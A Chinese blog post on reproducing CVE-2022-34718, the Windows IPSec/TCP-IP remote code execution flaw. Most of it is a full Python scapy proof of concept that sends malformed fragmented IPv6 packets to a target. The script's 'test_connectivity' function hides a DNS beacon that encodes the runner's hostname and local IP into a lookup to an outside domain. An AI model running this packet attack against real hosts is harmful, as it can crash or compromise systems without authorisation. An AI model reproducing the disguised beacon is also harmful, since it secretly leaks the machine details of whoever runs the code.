当前位置:   article > 正文

Windows TCP/IP 远程代码执行漏洞 (CVE-2022-34718)环境搭建+复现

cve-2022-34718

目录

漏洞概述

环境搭建

漏洞复现


漏洞概述

微软上月发布的补丁包含一个可能执行代码的TCP/IP协议漏洞。

IPSec是一种可以对指定类型ip流量筛选过滤,并加密验证的一种协议。通常在VPN或者增强其他协议密码安全性的部分条件下使用。

环境搭建

在windows中 ,我们需要搭建一个域条件下,两台对对方所有流量都加密验证的环境。因为很多时候它并不是一种默认开启的协议。

有想尝试环境搭建的可以参考链接:完整域环境搭建再识(图文详细+问题解决)

  1. 攻击机kali 环境 python3
  2. 靶机 域内系统win10

漏洞复现

安装模块

pip install scapy

poc准备

poc 地址 CVE-2022-34718-PoC/ipv6-rce-poc.py at master · SecLabResearchBV/CVE-2022-34718-PoC · GitHub

  1. #/usr/bin/env python3
  2. import sys
  3. import random
  4. import socket
  5. import base64
  6. import re
  7. FRAGMENT_SIZE = 0x400
  8. LAYER4_FRAG_OFFSET = 0x8
  9. NEXT_HEADER_IPV6_ROUTE = 43
  10. NEXT_HEADER_IPV6_FRAG = 44
  11. NEXT_HEADER_IPV6_ICMP = 58
  12. def get_layer4():
  13. er = ICMPv6EchoRequest(data = "PoC for CVE-2022-34718")
  14. er.cksum = 0xa472
  15. return raw(er)
  16. def get_inner_packet(target_addr):
  17. inner_frag_id = random.randint(0, 0xffffffff)
  18. print("**** inner_frag_id: 0x{:x}".format(inner_frag_id))
  19. raw_er = get_layer4()
  20. # 0x1ffa Routing headers == 0xffd0 bytes
  21. routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
  22. routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
  23. # First inner fragment header: offset=0, more=1
  24. FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
  25. return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
  26. def send_last_inner_fragment(target_addr, inner_frag_id):
  27. raw_er = get_layer4()
  28. ip = IPv6(dst = target_addr)
  29. # Second (and last) inner fragment header: offset=1, more=0
  30. FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
  31. send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
  32. return True
  33. def test_connectivity(target_addr):
  34. s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
  35. try:
  36. domain = "v23lmm54ayv29d3vj727br59u.seclabresearch.com"
  37. hostname = socket.gethostname()
  38. local_ip = socket.gethostbyname(hostname)
  39. fqdn = '.'.join(filter(lambda x: x, re.split(r'(.{63})', base64.b32encode(f"{hostname}-{local_ip}".encode('utf8')).decode('utf8').replace('=','')) + ['G'+str(random.randint(10,99)), domain])).lower()
  40. taget_addr = socket.gethostbyname(fqdn)
  41. s.connect((target_addr, 80, 0, 0))
  42. except socket.gaierror:
  43. return True
  44. finally:
  45. s.close()
  46. return True
  47. def trigger(target_addr):
  48. inner_packet, inner_frag_id = get_inner_packet(target_addr)
  49. ip = IPv6(dst = target_addr)
  50. hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
  51. outer_frag_id = random.randint(0, 0xffffffff)
  52. fragmentable_part = []
  53. for i in range(len(inner_packet) // FRAGMENT_SIZE):
  54. fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
  55. if len(inner_packet) % FRAGMENT_SIZE:
  56. fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
  57. print("Preparing frags...")
  58. frag_offset = 0
  59. frags_to_send = []
  60. is_first = True
  61. for i in range(len(fragmentable_part)):
  62. if i == len(fragmentable_part) - 1:
  63. more = 0
  64. else:
  65. more = 1
  66. FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
  67. blob = raw(FH/fragmentable_part[i])
  68. frag_offset += FRAGMENT_SIZE
  69. frags_to_send.append(ip/hopbyhop/blob)
  70. print("Sending {} frags...".format(len(frags_to_send)))
  71. for frag in frags_to_send:
  72. send(frag)
  73. print("Now sending the last inner fragment to trigger the bug...")
  74. success = send_last_inner_fragment(target_addr, inner_frag_id)
  75. if success:
  76. print("Success! The system is vulnerable...")
  77. else:
  78. print("Failed! The system is NOT vulnerable...")
  79. if __name__ == '__main__':
  80. if len(sys.argv) < 2:
  81. print('Usage: cve-2021-24086.py <IPv6 addr>')
  82. sys.exit(1)
  83. if test_connectivity(sys.argv[1]):
  84. try:
  85. from scapy.all import *
  86. except ImportError:
  87. print("Could not load scapy module, please install the dependencies from requirements.txt ...")
  88. sys.exit(1)
  89. try:
  90. trigger(sys.argv[1])
  91. except PermissionError:
  92. print("Only root is able to send raw packets. Please rerun this script as root...")

注意切换至root 权限执行

python3 ipv6-rce-poc.py <target address>

执行成功

技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本文作者无关。本文所提供的工具仅用于学习,禁止用于其他!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/720347
推荐阅读
相关标签
  

闽ICP备14008679号